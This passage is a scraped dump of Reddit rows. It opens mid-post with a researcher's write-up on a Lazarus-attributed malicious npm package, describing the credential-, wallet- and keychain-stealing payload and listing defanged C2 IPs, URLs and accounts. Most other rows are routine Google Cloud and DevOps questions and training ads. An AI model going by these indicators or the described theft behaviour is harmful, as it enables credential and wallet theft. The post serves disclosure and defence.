[https://www.youtube.com/watch?v=myP4ijez-mc](https://www.youtube.com/watch?v=myP4ijez-mc) **In the blog and the video we also explore the actual payload which is crazy nasty!!** Basically the payload would remain dormant until the headers `{ ""x-secret-key"": ""locationchecking"" }` were included. The payload would then do multiple things. * Steal any active Session tokens * Search for browser profiles and steal any caches and basically all data * identify any crypto wallets, particually browser extension absed wallets like MetaMask. * Steal MacOs keychains. * Download and infect machine with back door and more malware. Again if you want to see the payload in all its glory you can find at the blog post. **How do we know its Lazarus** A question any reasonable person will be asking is how did we know this is Lazarus. We have seen this almost exact payload before and we there are also multiple other indicators (below) we can use to reasonably apply responsibility. **IPs** * 144.172.96\[.\]80 **URLs** * hxxp://144.172.96\[.\]80:1224/client/106/106 * hxxp://144.172.96\[.\]80:1224/uploads  * hxxp://144.172.96\[.\]80:1224/pdown * [https://ipcheck-production.up.railway\[.\]app/106](https://ipcheck-production.up.railway[.]app/106) **npm accounts** * pdec212 **Github accounts** * pdec9690 **So yea, here is a story about spying on Lazarus while they try to debug their exploit. Pretty fun.** (From [u/advocatemack](https://www.reddit.com/user/advocatemack/))",purplegradients,312,9,1743612542,/r/devops/comments/1jpteaw/malware_hiding_in_plain_sight_spying_on_north/,https://www.reddit.com/r/devops/comments/1jpteaw/malware_hiding_in_plain_sight_spying_on_north/,self.devops,True,,,,, jkd39h,devops,Microsoft Will Let Employees Work From Home Permanently,,ErikTheEngineer,311,88,1603988341,/r/devops/comments/jkd39h/microsoft_will_let_employees_work_from_home/,/r/sysadmin/comments/jkd0os/microsoft_will_let_employees_work_from_home/,self.sysadmin,False,,,,, rb27i2,devops,"So, it looks like AWS us-east-1 is experiencing issues…","https://downdetector.co.uk/status/aws-amazon-web-services/ Does that mean I can go home early for Christmas?",The_Drowning_Flute,310,97,1638892543,/r/devops/comments/rb27i2/so_it_looks_like_aws_useast1_is_experiencing/,https://www.reddit.com/r/devops/comments/rb27i2/so_it_looks_like_aws_useast1_is_experiencing/,self.devops,True,,,,, u414dr,devops,Who wants to learn Kubernetes this weekend?,[removed],Last_Bug_5769,310,44,1650001526,/r/devops/comments/u414dr/who_wants_to_learn_kubernetes_this_weekend/,https://www.reddit.com/r/devops/comments/u414dr/who_wants_to_learn_kubernetes_this_weekend/,self.devops,True,,,,, d3b7n1,devops,If you’re not using SSH certificates you’re doing SSH wrong,"[https://smallstep.com/blog/use-ssh-certificates/](https://smallstep.com/blog/use-ssh-certificates/) &#x200B; This post is arguing that SSH certificate authentication is the right way to do SSH. It eliminates this message, which is probably the #1 most annoying and least secure part of SSH: The authenticity of host '[prod01.example.com](http://prod01.example.com/) (54.161.77.102)' can't be established. ECDSA key fingerprint is SHA256:2ae53QcOB0W6HO+XtPmMXk7To/MvMuhFxTj8ZD7eSsE. Are you sure you want to continue connecting (yes/no)? But there's more!: \* Easily hook into SSO, MFA, and other forms of authentication (no separate account management for SSH) \* SSH credentials are ephemeral and auto-expire (fail-secure if you forget to offboard someone) \* Ephemeral credentials mean you can protect private keys better b/c you don't need to store them on disk \* Elimination of the above error and host key verification failures means you can reuse host names and rekey hosts And it's not hard to implement, operate, and use certificate authentication once you understand it. Lots more details in the post!",kagvaBwIcfpi,310,136,1568309040,/r/devops/comments/d3b7n1/if_youre_not_using_ssh_certificates_youre_doing/,https://www.reddit.com/r/devops/comments/d3b7n1/if_youre_not_using_ssh_certificates_youre_doing/,self.devops,True,,,,, cs4k2w,devops,I run a completely free DevOps Bootcamp on Twitch!,"I hope this isn't considered vendor spam, I am really just looking to provide DevOps resources. I am running a free 12 week DevOps bootcamp over on Twitch. The streams take place Mondays and Wednesdays at 8pm EST. The curriculum can be found at [http://academy.mastermnd.io/curriculum/devops/](http://academy.mastermnd.io/curriculum/devops/) and the Twitch channel is https://twitch .tv/mastermndio Let me know if anyone has any questions! EDIT: slightly overwhelmed by the amount of interaction here but I really appreciate it. I will make sure to get a response out to everyone today. Thanks!",brooksa321,309,49,1566150964,/r/devops/comments/cs4k2w/i_run_a_completely_free_devops_bootcamp_on_twitch/,https://www.reddit.com/r/devops/comments/cs4k2w/i_run_a_completely_free_devops_bootcamp_on_twitch/,self.devops,True,,,,, l00jkp,gcp,Visit /r/googlecloud for Google Cloud Platform questions,"This subreddit is locked and not in active use, please visit /r/googlecloud for all your GCP needs!",Cidan,7,0,1610994719,/r/GCP/comments/l00jkp/visit_rgooglecloud_for_google_cloud_platform/,https://www.reddit.com/r/GCP/comments/l00jkp/visit_rgooglecloud_for_google_cloud_platform/,self.GCP,True,,,,, fe4ol4,gcp,Google’s best practice for IAM is based on service account mapped to roles?,"For the GCP experts, is there a best practice when mapping service accounts to IAM roles then to specific resource (like a specific bucket?) Example I want to give read only access to a cloud bucket. Does this mean I have to create the service account and map it to a role. Then add the service account to the cloud bucket ?",XD__XD,5,0,1583452833,/r/GCP/comments/fe4ol4/googles_best_practice_for_iam_is_based_on_service/,https://www.reddit.com/r/GCP/comments/fe4ol4/googles_best_practice_for_iam_is_based_on_service/,self.GCP,True,,,,, jas5gz,gcp,Nested Virtualization on Centos 8,[removed],kioie,3,0,1602642927,/r/GCP/comments/jas5gz/nested_virtualization_on_centos_8/,https://www.reddit.com/r/GCP/comments/jas5gz/nested_virtualization_on_centos_8/,self.GCP,True,1,False,,arctic-shift,1781885549 g5gkiw,gcp,Need help with real(or near-real) time updates from GSheet to GBQ,"Hello, I'm new to GCP and I'm trying to build a connection between GSheet and GBQ and update a few tables in GBQ based on the updates in GSheet. My question is two-fold - 1. The GSheet would basically only hold 2 columns with text in them (<200 rows). As and when a row gets added to this, I need to search for the text in a column of the GBQ table and update it 1 or 0 based on the text's existence in the column. How can I make this connection that listens to changes on the GSheet? Do I need a cloud function? 2. In the GBQ table, I store data like below - |Some column|Some column|Search text column|Text row from GSheet|Exists?| |:-|:-|:-|:-|:-| |blah|blah|Google Cloud Platform|Google|1| |blah|blah|Google Cloud Platform|World|0| |blah|blah|Google Cloud Platform|Cloud|1| So, I unpivot each row based on the rows in the GSheet and mark exists or not. I know this is a lot of duplication. Is there a better way of doing this using nested structures? ​ Any help with this greatly appreciated. Thank you!",biz-veritas,2,0,1587480558,/r/GCP/comments/g5gkiw/need_help_with_realor_nearreal_time_updates_from/,https://www.reddit.com/r/GCP/comments/g5gkiw/need_help_with_realor_nearreal_time_updates_from/,self.GCP,True,1,False,,arctic-shift,1781885549 g5c4k2,gcp,Hosting a website on Kubernetes GCP.,"I'm new to Kubernetes and I have recently build a cluster with nodes,pods and containers, I was able to make a first demo displaying one html page. My question is: How can I host a full website on Kubernetes(display more than 1 page for an ip address)? When I build the image I copy only 1 file to the nginx html folder, I tried to copy a hole folder but the image didn't work. 1- Can I build an image with more than 1 html/php file? 2-It is better to divide containers to front-end and back-end, so how to do that? 3- When updating files I should rebuild the docker image every single time? Please share any details about developing a php website, connecting to SQL Cloud and features I should use to host a web app on Kubernetes.",himas1995,3,3,1587461361,/r/GCP/comments/g5c4k2/hosting_a_website_on_kubernetes_gcp/,https://www.reddit.com/r/GCP/comments/g5c4k2/hosting_a_website_on_kubernetes_gcp/,self.GCP,True,1,False,,arctic-shift,1781885549 g4y017,gcp,Setting up GCP account/org with no email,[deleted],[deleted],1,0,1587406280,/r/GCP/comments/g4y017/setting_up_gcp_accountorg_with_no_email/,https://www.reddit.com/r/GCP/comments/g4y017/setting_up_gcp_accountorg_with_no_email/,self.GCP,True,1,False,,arctic-shift,1781885549 g3m19u,gcp,Kubernetes vs compute engine,Can someone please tell me more about these 2 and why should I use Kubernetes to host my website? A simple list of pros and cons comparison would help much.,himas1995,3,3,1587209281,/r/GCP/comments/g3m19u/kubernetes_vs_compute_engine/,https://www.reddit.com/r/GCP/comments/g3m19u/kubernetes_vs_compute_engine/,self.GCP,True,1,False,,arctic-shift,1781885549 g2eg39,gcp,App Engine - NodeJS - App.Yaml context,"Hello everyone, For organization purpose I decided to store all configuration files inside .devops folder, but when I try to deploy my application to App Engine, I receive the error: ""node.js checker: No package.json file."" When app.yaml file is in the root all workes fine, but when it is inside .devops/gae/app.yaml seems like it is unable to fetch correctly app files. ​ How can I use app.yaml in this way? With subfolders? ​ Cheers!",dminella,2,3,1587042021,/r/GCP/comments/g2eg39/app_engine_nodejs_appyaml_context/,https://www.reddit.com/r/GCP/comments/g2eg39/app_engine_nodejs_appyaml_context/,self.GCP,True,1,False,,arctic-shift,1781885549 g22irt,gcp,Provision Linux VM with GUI,"If you are looking for an Ubuntu VM with a GUI , you are in luck. Check out [this](http://www.techlatest.net/support/desktop_linux_support?utm_source=reddit_r_gcp&utm_medium=selfpost&utm_campaign=desktop-linux) for more details. The VM provides RDP based remote desktop connectivity and packed with lot of useful opensource apps and tools.",itprofessional4,1,1,1586990457,/r/GCP/comments/g22irt/provision_linux_vm_with_gui/,https://www.reddit.com/r/GCP/comments/g22irt/provision_linux_vm_with_gui/,self.GCP,True,1,False,,arctic-shift,1781885549 g1v64q,gcp,GCSFUSE not working completly,"Hello guys, I want to mount a directory to one of my buckets. it works but when I use ls to see what's in my folder I get an error: The code that I used to mount is as follows: gcsfuse -o allow_other --uid 1005 bucket folder when I use ls in the directory I get the following error: ls: reading directory '.': Input/output error Can anyone help me solve this issue, please? Thanks Regards",dimem16,1,0,1586967703,/r/GCP/comments/g1v64q/gcsfuse_not_working_completly/,https://www.reddit.com/r/GCP/comments/g1v64q/gcsfuse_not_working_completly/,self.GCP,True,1,False,,arctic-shift,1781885549 g1f0b2,gcp,Suggestions needed: Best Udemy courses to get certified in Associate Cloud Engineer and Professional Cloud Architect,Hi All Can anyone suggest me the best UDEMY courses to get certified in Google certified ACE and PCA.,krishnachaitanya7,3,1,1586902085,/r/GCP/comments/g1f0b2/suggestions_needed_best_udemy_courses_to_get/,https://www.reddit.com/r/GCP/comments/g1f0b2/suggestions_needed_best_udemy_courses_to_get/,self.GCP,True,1,False,,arctic-shift,1781885549 g0yswj,gcp,How to Login as Root in GCP Linux Vm,,schadokar,2,1,1586838313,/r/GCP/comments/g0yswj/how_to_login_as_root_in_gcp_linux_vm/,https://schadokar.dev/to-the-point/how-to-login-as-root-in-gcp-linux-vm/,schadokar.dev,False,1,False,,arctic-shift,1781885549 fymkvk,gcp,where to start with GCP networking,"I have (or had) CCNA so networks are not unknown for me, but where can I start to read about networking in GCP",tehnic,2,2,1586546272,/r/GCP/comments/fymkvk/where_to_start_with_gcp_networking/,https://www.reddit.com/r/GCP/comments/fymkvk/where_to_start_with_gcp_networking/,self.GCP,True,1,False,,arctic-shift,1781885549 fxi6dn,gcp,GCP console questions,"folks, I need help on how to navigate around in the GCP console. Am a novice with google cloud platform (gcp). I have been tasked to document a step by step guide on how to verify the following in the console. Here below are the 10 usecases 1. Activity Outside of whitelist 2. Admin Suspended 3. Cloud shell API enabled 4. SuperAdmin created 5. User Assigned Legacy Bucket Owner Permission 6 . Virtual Machine has public IP address 7. VPC has route to internet 8. Creating Cloud SQL with public IP 9. Loadbalancer with external IP 10. GCP Org policy allows service account creation. Regards Thanks",SeanAOI,1,2,1586391593,/r/GCP/comments/fxi6dn/gcp_console_questions/,https://www.reddit.com/r/GCP/comments/fxi6dn/gcp_console_questions/,self.GCP,True,1,False,,arctic-shift,1781885549 fuj83f,gcp,Our introduction to Config Connector as we move to using kubernetes to manage all the things!,,dant24,1,0,1585957449,/r/GCP/comments/fuj83f/our_introduction_to_config_connector_as_we_move/,https://cyral.com/blog/simplifying-cloud-orchestration-gcp,cyral.com,False,1,False,,arctic-shift,1781885549 ftnz6c,gcp,Cloud functions run twice,"Hi, hope everyone is doing fine. I have made a google cloud function and its trigger is a pub/sub Topic. To trigger the topic i am using a cloud schedule. So at the start of the day my schedule triggers the cloud function once. Everything was working fine but now once in a blue moon my function runs twice. But as i have seen from the logs of schedule and topic, other then function everything has triggered only once. But function has ran twice with the difference of only 30 seconds. I don't know what triggered the function again and why is it running twice. Can someone please help me in this regard? Thanks in advance.",uamjad24,4,3,1585840217,/r/GCP/comments/ftnz6c/cloud_functions_run_twice/,https://www.reddit.com/r/GCP/comments/ftnz6c/cloud_functions_run_twice/,self.GCP,True,1,False,,arctic-shift,1781885549 ft52mv,gcp,Accessing LAMP VM using Microsoft Remote Desktop,"I have a LAMP stack set up on an instance. Is it possible to connect using RDP (Microsoft RD)? Are there any tutorials you can point me toward? I'm having a hard time finding anything. Or is best practice to spin up a windows server and go WAMP? (We went LAMP because it's already pre-assembled in the marketplace).",thomasyhall,3,1,1585763929,/r/GCP/comments/ft52mv/accessing_lamp_vm_using_microsoft_remote_desktop/,https://www.reddit.com/r/GCP/comments/ft52mv/accessing_lamp_vm_using_microsoft_remote_desktop/,self.GCP,True,1,False,,arctic-shift,1781885549 ft52ji,gcp,Accessing LAMP VM using Microsoft Remote Desktop,"I have a LAMP stack set up on an instance. Is it possible to connect using RDP (Microsoft RD)? Are there any tutorials you can point me toward? I'm having a hard time finding anything. Or is best practice to spin up a windows server and go WAMP? (We went LAMP because it's already pre-assembled in the marketplace).",thomasyhall,1,0,1585763922,/r/GCP/comments/ft52ji/accessing_lamp_vm_using_microsoft_remote_desktop/,https://www.reddit.com/r/GCP/comments/ft52ji/accessing_lamp_vm_using_microsoft_remote_desktop/,self.GCP,True,1,False,,arctic-shift,1781885549 fsnbtt,gcp,"as somebody who moved from aws to GCP, where to start?","Been using EKS and for now, GCP k8s is way superior then EKS. I'm looking for blogs and stuff that can help me",tehnic,4,3,1585695197,/r/GCP/comments/fsnbtt/as_somebody_who_moved_from_aws_to_gcp_where_to/,https://www.reddit.com/r/GCP/comments/fsnbtt/as_somebody_who_moved_from_aws_to_gcp_where_to/,self.GCP,True,1,False,,arctic-shift,1781885549 fr0sez,gcp,How to Create a Linux VM in GCP,,schadokar,3,0,1585460520,/r/GCP/comments/fr0sez/how_to_create_a_linux_vm_in_gcp/,https://schadokar.dev/to-the-point/how-to-create-a-linux-vm-in-gcp/,schadokar.dev,False,1,False,,arctic-shift,1781885549 fptamb,gcp,GCP,,sparklingjazz247,1,0,1585297231,/r/GCP/comments/fptamb/gcp/,https://www.infiflex.com/,infiflex.com,False,1,False,,arctic-shift,1781885549 fp5sfa,gcp,An Ultimate Guide for Knowing Google Cloud Platform,,sparklingjazz247,1,0,1585199688,/r/GCP/comments/fp5sfa/an_ultimate_guide_for_knowing_google_cloud/,https://medium.com/@aishasimone247/an-ultimate-guide-for-knowing-google-cloud-platform-8229adcd8abe,medium.com,False,1,False,,arctic-shift,1781885549 fl5174,gcp,Downloading large remote file to CloudStorage via pubsub,"Any ideas on how to download large remote files (\~1gb) to CloudStorage, with the url contained in a pubsub msg. IIRC Cloud Functions has a 20mb limit so can't be used to as a proxy (download locally then upload to GCS bucket). So was thinking of using CloudRun but it seems a bit over blown for the use-case. Any ideas?",shingy-is-my-hero,3,0,1584597687,/r/GCP/comments/fl5174/downloading_large_remote_file_to_cloudstorage_via/,https://www.reddit.com/r/GCP/comments/fl5174/downloading_large_remote_file_to_cloudstorage_via/,self.GCP,True,1,False,,arctic-shift,1781885549 fkowxk,gcp,FUSE with Buckets & inotifyevents,"I'm in bit of pickle.. I need to run an FTP service to receive data from customers. My new service is all very modern and native REST/JSON, running Golang APIs on Kubernetes. I building a microservice that needs to ingest the data from the FTP service once it's been received. I want to use Google Buckets to store the data and persist it, and was planning to use FUSE. I've setup a sidecar container that leverages inotifywait to trigger on a completed file transfer to inform our API of the new data to process. My question is, will using the inotifywait process, become a problem with FUSE or increase the number of bucket API calls? File received are small .xml files & large 10GB\~ zips of XML for reference. I'd love to hear some architectural insights if anyone has them.",Bonn93,1,0,1584535380,/r/GCP/comments/fkowxk/fuse_with_buckets_inotifyevents/,https://www.reddit.com/r/GCP/comments/fkowxk/fuse_with_buckets_inotifyevents/,self.GCP,True,1,False,,arctic-shift,1781885549 fk3jca,gcp,Error : Machines with GPUs can’t migrate on host maintenance,[deleted],[deleted],1,0,1584443908,/r/GCP/comments/fk3jca/error_machines_with_gpus_cant_migrate_on_host/,https://www.reddit.com/r/GCP/comments/fk3jca/error_machines_with_gpus_cant_migrate_on_host/,self.GCP,True,1,False,,arctic-shift,1781885549 fivzdh,gcp,"If you have experience with BigQuery, please have a look.",,omar16100,1,0,1584247168,/r/GCP/comments/fivzdh/if_you_have_experience_with_bigquery_please_have/,/r/bigquery/comments/fiuzbv/how_to_use_the_bq_data_transfer_service_using_the/,self.bigquery,False,1,False,,arctic-shift,1781885549 fgk4oy,gcp,Limits joins in Spanner,"Hello guys, currently in our systems we are using a lot of SQL joins operations and we are hitting the limit of 15 joins. Can anyone tell me the reason for having this limit?If someone got this limit of joins, did they manage to execute any workaround?",errnull,1,0,1583870931,/r/GCP/comments/fgk4oy/limits_joins_in_spanner/,https://www.reddit.com/r/GCP/comments/fgk4oy/limits_joins_in_spanner/,self.GCP,True,1,False,,arctic-shift,1781885549 fdkmru,gcp,Microsoft AZ-103 Azure Administrator Certification Training – Accelerate your career & income potential,[removed],lwilson747747,1,0,1583359353,/r/GCP/comments/fdkmru/microsoft_az103_azure_administrator_certification/,https://www.reddit.com/r/GCP/comments/fdkmru/microsoft_az103_azure_administrator_certification/,self.GCP,True,1,False,,arctic-shift,1781885549 fdi7mu,gcp,Is there any significant difference between e2 and n1 instances?,They seem pretty similar.,rsabbath,1,0,1583349929,/r/GCP/comments/fdi7mu/is_there_any_significant_difference_between_e2/,https://www.reddit.com/r/GCP/comments/fdi7mu/is_there_any_significant_difference_between_e2/,self.GCP,True,1,False,,arctic-shift,1781885549 fdi0pz,gcp,Are e2 instances in Zurich region free ?,[deleted],[deleted],1,0,1583349180,/r/GCP/comments/fdi0pz/are_e2_instances_in_zurich_region_free/,https://www.reddit.com/r/GCP/comments/fdi0pz/are_e2_instances_in_zurich_region_free/,self.GCP,True,1,False,,arctic-shift,1781885549 fcvmgp,gcp,Deploy python socket based app on GCP,,tonytony11,1,0,1583247015,/r/GCP/comments/fcvmgp/deploy_python_socket_based_app_on_gcp/,/r/googlecloud/comments/fctr5s/deploy_python_socket_based_app_on_gcp/,self.googlecloud,False,1,False,,arctic-shift,1781885549 fcr5xy,gcp,How do I get a subdomain to direct to an app engine service? More info in comments...,"I have my main domain pointing to the default service. I also want to have a an appengine service called demo, so when users go to [demo.domain.com](https://demo.domain.com) they get that service. I thought I would be able to just call the service demo, and then with the CNAME record for the subdomain to [ghs.googleservices.com](https://ghs.googleservices.com) . This is what I think the docs say is required. But after some time waiting for this to connect it still doesn't work. Any ideas what's up?",marmaladeontoast,1,1,1583220756,/r/GCP/comments/fcr5xy/how_do_i_get_a_subdomain_to_direct_to_an_app/,https://www.reddit.com/r/GCP/comments/fcr5xy/how_do_i_get_a_subdomain_to_direct_to_an_app/,self.GCP,True,1,False,,arctic-shift,1781885549 fbvjh0,gcp,GCF to dataflow,"Hi everyone. Pardon the dufferness but can someone please help me figure out the problem. I have created some GCF's and they can be triggered by pub/sub. Also the process to trigger them must be synchronous as the next function is dependent on the previous one. Currently i am achieving this through triggering the functions by cloud scheduler. Can i do this through cloud dataflow by creating the pipeline so that my functions can run automatically and one after another by not using the cloud scheduler? Thanks in advance.",uamjad24,1,8,1583076561,/r/GCP/comments/fbvjh0/gcf_to_dataflow/,https://www.reddit.com/r/GCP/comments/fbvjh0/gcf_to_dataflow/,self.GCP,True,1,False,,arctic-shift,1781885549 f9cobr,gcp,deploy code to compute engine vm,"Hi everyone. I was trying to set up workflow which deploy code to vm when someone pull to GitHub repo branch. I thought I can build artifacts on code-builder and then transfer them to my instance and restart nginx. Now I don't think it's possible, and I am kind of out of options, and also I don't want to deploy my code to vm with container. any suggestions?",edgargp,1,7,1582647587,/r/GCP/comments/f9cobr/deploy_code_to_compute_engine_vm/,https://www.reddit.com/r/GCP/comments/f9cobr/deploy_code_to_compute_engine_vm/,self.GCP,True,1,False,,arctic-shift,1781885549 f8snu2,gcp,Cloud wars: a report from the frontline,,ellie100x,2,0,1582557415,/r/GCP/comments/f8snu2/cloud_wars_a_report_from_the_frontline/,https://granulate.io/cloud-wars?id=6,granulate.io,False,1,False,,arctic-shift,1781885549 f7hnz6,gcp,The Truth about GCP's VPC Security Controls,[deleted],[deleted],1,0,1582319105,/r/GCP/comments/f7hnz6/the_truth_about_gcps_vpc_security_controls/,https://zainrizvi.io/blog/the-truth-about-vpc-security-controls/?utm_source=reddit&utm_campaign=vpc-sc,zainrizvi.io,False,1,False,,arctic-shift,1781885549 f6upa6,gcp,Compute resource optimization using Recomender API in GCP,,soaretudor,1,0,1582212701,/r/GCP/comments/f6upa6/compute_resource_optimization_using_recomender/,https://medium.com/metrosystemsro/new-ground-what-about-optimizing-the-size-of-machines-87855fbab9ef,medium.com,False,1,False,,arctic-shift,1781885549 f6efve,gcp,Startup Program,"Can anyone help me to understand how to apply to Google's startup program? [https://cloud.google.com/developers/startups/](https://cloud.google.com/developers/startups/) According to the documentation I need to *""Reach out to your incubator, accelerator, or VC firm."";* however, I am bootstrapping my startup through this early phase and do not have a VC firm to use as a reference. Is there a path for small startups like mine to apply?",JohnnyKonig,2,0,1582134855,/r/GCP/comments/f6efve/startup_program/,https://www.reddit.com/r/GCP/comments/f6efve/startup_program/,self.GCP,True,1,False,,arctic-shift,1781885549 f3s64b,gcp,Google Cloud Platform | Amazon AWS | Azure | Gsuite Basic,,Avnid,1,0,1581686886,/r/GCP/comments/f3s64b/google_cloud_platform_amazon_aws_azure_gsuite/,https://www.infiflex.com/,infiflex.com,False,1,False,,arctic-shift,1781885549 f3rprz,gcp,Attempting to model this AWS architecture in GCP,[deleted],[deleted],1,5,1581684496,/r/GCP/comments/f3rprz/attempting_to_model_this_aws_architecture_in_gcp/,https://www.reddit.com/r/GCP/comments/f3rprz/attempting_to_model_this_aws_architecture_in_gcp/,self.GCP,True,1,False,,arctic-shift,1781885549 f2n8yi,gcp,GCP Helping Retailers Win the Digital Race,,Avnid,1,0,1581490632,/r/GCP/comments/f2n8yi/gcp_helping_retailers_win_the_digital_race/,https://www.infiflex.com/gcp-helping-retailers-win-the-digital-race,infiflex.com,False,1,False,,arctic-shift,1781885549 f0ohe7,gcp,Google Cloud Platform Training | Google Cloud Platform Training Online,,bhanusree111,1,0,1581147632,/r/GCP/comments/f0ohe7/google_cloud_platform_training_google_cloud/,https://i.redd.it/zfehtc9wlnf41.jpg,i.redd.it,False,1,False,,arctic-shift,1781885549 f06apy,gcp,Google Cloud Platform,,bhanusree111,1,0,1581055292,/r/GCP/comments/f06apy/google_cloud_platform/,https://www.edocr.com/v/gor5xexb/bhanusreevisualpath/Google-Cloud-Platform-converted,edocr.com,False,1,False,,arctic-shift,1781885549 ew2csu,gcp,Managed Active Directory,Has anyone had any experience they could share with deploying or managing [Managed Active Directory](https://cloud.google.com/managed-microsoft-ad)?,etc08,4,0,1580373414,/r/GCP/comments/ew2csu/managed_active_directory/,https://www.reddit.com/r/GCP/comments/ew2csu/managed_active_directory/,self.GCP,True,1,False,,arctic-shift,1781885549 ev44ey,gcp,All About GCP,,sparklingjazz247,1,0,1580209115,/r/GCP/comments/ev44ey/all_about_gcp/,https://www.infiflex.com/topic/gcp,infiflex.com,False,1,False,,arctic-shift,1781885549 ev3cf4,gcp,Google Cloud Platform Training,,vishnu178,1,0,1580203534,/r/GCP/comments/ev3cf4/google_cloud_platform_training/,https://docs.google.com/forms/d/e/1FAIpQLSeWXmCoJ06LXwUTutWcVtUFlLhVvA0RrtYPW0WS5IKqN7gilQ/viewform,docs.google.com,False,1,False,,arctic-shift,1781885549 ev27tj,gcp,Cloud Spanner meetup hosted by Google,,vvhvv,1,0,1580195647,/r/GCP/comments/ev27tj/cloud_spanner_meetup_hosted_by_google/,https://www.meetup.com/Cloud-Spanner-Developers/events/268181120/,meetup.com,False,1,False,,arctic-shift,1781885549 etf3t6,gcp,How can I set up monitoring for my GCP Cloud SQL instance?,"I recently performed a data migration to cloud sql: SQL Server. However now I have to set up an alert for monitoring cpu, memory and disk usage to notify via email. Is stackdriver the only or best way to go about doing this? Or are there better alternatives?",Okmanl,1,4,1579893514,/r/GCP/comments/etf3t6/how_can_i_set_up_monitoring_for_my_gcp_cloud_sql/,https://www.reddit.com/r/GCP/comments/etf3t6/how_can_i_set_up_monitoring_for_my_gcp_cloud_sql/,self.GCP,True,1,False,,arctic-shift,1781885549 eryn3u,gcp,Detect when core services and security controls are disabled,"Hello, I’m new to GCP and trying to figure out if there are good articles or open source ideas to detect when an attacker/perpetrator tries to disable a core service like stackdriver, DNSSEC and such. Thank you",Sec_analyst8102,1,0,1579630740,/r/GCP/comments/eryn3u/detect_when_core_services_and_security_controls/,https://www.reddit.com/r/GCP/comments/eryn3u/detect_when_core_services_and_security_controls/,self.GCP,True,1,False,,arctic-shift,1781885549 eqe9jh,gcp,Google Cloud Platform Online Training,,vishnu178,1,0,1579338758,/r/GCP/comments/eqe9jh/google_cloud_platform_online_training/,https://docs.google.com/forms/d/e/1FAIpQLSeTuAOm_4OJWs_h9Rox-IaoL5yZvm3vOtzad24DGoW1aVCErQ/viewform,docs.google.com,False,1,False,,arctic-shift,1781885549 emy9ju,gcp,Toggle IP forwarding setting after launch of marketplace VM,"99% sure the answer is ""not possible"" but just thought I'd check. This morning I launched some CheckPoint R80.30 firewalls via marketplace using the 2-NIC design. The ""IP forwarding"" setting is enabled for eth0, but disabled for eth1. Unfortunately this is the exact opposite of what I want, because eth0 is the external NIC and eth1 is internal. There was no option to configure this on the launch template. **ANSWER:** This is actually cosmetic. If nic0 has IP forwarding enabled, then nic1, nic2, etc have it set as well. So IP forwarding is enabled for all nics, but only shows ""On"" for nic0",greenlakejohnny,1,0,1578694981,/r/GCP/comments/emy9ju/toggle_ip_forwarding_setting_after_launch_of/,https://www.reddit.com/r/GCP/comments/emy9ju/toggle_ip_forwarding_setting_after_launch_of/,self.GCP,True,1,False,,arctic-shift,1781885549 elpot4,gcp,Google Cloud Platform Training,,vishnu178,1,0,1578469656,/r/GCP/comments/elpot4/google_cloud_platform_training/,https://docs.google.com/forms/d/e/1FAIpQLSeWXmCoJ06LXwUTutWcVtUFlLhVvA0RrtYPW0WS5IKqN7gilQ/viewform,docs.google.com,False,1,False,,arctic-shift,1781885549 ekf0vw,gcp,Do you feel like your cloud bills are just constantly growing? how can we take back control?,,optimizedmor,2,0,1578241146,/r/GCP/comments/ekf0vw/do_you_feel_like_your_cloud_bills_are_just/,/r/CloudAtCost/comments/ekelxc/do_you_feel_like_your_cloud_bills_are_just/,self.CloudAtCost,False,1,False,,arctic-shift,1781885549 effii4,gcp,Google Cloud Platform Online Training - Enroll Now For Free Demo,[removed],kamsali1991,1,0,1577273460,/r/GCP/comments/effii4/google_cloud_platform_online_training_enroll_now/,https://www.reddit.com/r/GCP/comments/effii4/google_cloud_platform_online_training_enroll_now/,self.GCP,True,1,False,,arctic-shift,1781885549 effdrd,gcp,Google Cloud Platform Online Training - Enroll Now For Free Demo,[deleted],[deleted],1,0,1577272418,/r/GCP/comments/effdrd/google_cloud_platform_online_training_enroll_now/,https://docs.google.com/forms/d/e/1FAIpQLSeF0x7YI1PxWrhQQQ9wr_Xox2OOFD_CYOFunpeo7-MLTVDXrA/viewform,docs.google.com,False,1,False,,arctic-shift,1781885549 ednuvr,gcp,Google Cloud Platform Training,,vishnu178,1,0,1576919484,/r/GCP/comments/ednuvr/google_cloud_platform_training/,https://docs.google.com/forms/d/e/1FAIpQLSeWXmCoJ06LXwUTutWcVtUFlLhVvA0RrtYPW0WS5IKqN7gilQ/viewform,docs.google.com,False,1,False,,arctic-shift,1781885549 eahpl3,gcp,Google Cloud Platform Training,,vishnu178,1,0,1576315412,/r/GCP/comments/eahpl3/google_cloud_platform_training/,https://docs.google.com/forms/d/e/1FAIpQLSeWXmCoJ06LXwUTutWcVtUFlLhVvA0RrtYPW0WS5IKqN7gilQ/viewform,docs.google.com,False,1,False,,arctic-shift,1781885549 e8ohbu,gcp,Google Cloud Platform The Basics for Absolute Beginners,,vishnu178,1,0,1575970172,/r/GCP/comments/e8ohbu/google_cloud_platform_the_basics_for_absolute/,https://www.slideserve.com/vishnuvisualpath/google-cloud-platform-the-basics-for-absolute-beginners-powerpoint-ppt-presentation,slideserve.com,False,1,False,,arctic-shift,1781885549 e85kpj,gcp,Google Cloud Platform Online Training,,vishnu178,1,0,1575869081,/r/GCP/comments/e85kpj/google_cloud_platform_online_training/,https://docs.google.com/forms/d/e/1FAIpQLSeTuAOm_4OJWs_h9Rox-IaoL5yZvm3vOtzad24DGoW1aVCErQ/viewform,docs.google.com,False,1,False,,arctic-shift,1781885549 e6xigx,gcp,Google Cloud Platform Online Training,,kamsali1991,1,0,1575631281,/r/GCP/comments/e6xigx/google_cloud_platform_online_training/,https://i.redd.it/nao8zk68zz241.jpg,i.redd.it,False,1,False,,arctic-shift,1781885549 e6v13h,gcp,Google Cloud Platform Training In Hyderabad,,vishnu178,1,0,1575614518,/r/GCP/comments/e6v13h/google_cloud_platform_training_in_hyderabad/,https://photos.app.goo.gl/RrnoyqZpWUdnx65H7,photos.app.goo.gl,False,1,False,,arctic-shift,1781885549 e5h25d,gcp,Google Apigee API Engineer Exam Dumps [2020] - Shortcut To Success,[removed],yipipa1483,0,0,1575379465,/r/GCP/comments/e5h25d/google_apigee_api_engineer_exam_dumps_2020/,https://www.reddit.com/r/GCP/comments/e5h25d/google_apigee_api_engineer_exam_dumps_2020/,self.GCP,True,1,False,,arctic-shift,1781885549 e58e29,gcp,TTL of No sql database,"Hello, I am a student who is migrating from aws to learn gcp. In aws dynamo db I had a TTL property in after a particular time the key expires. Is there a equivalent way in 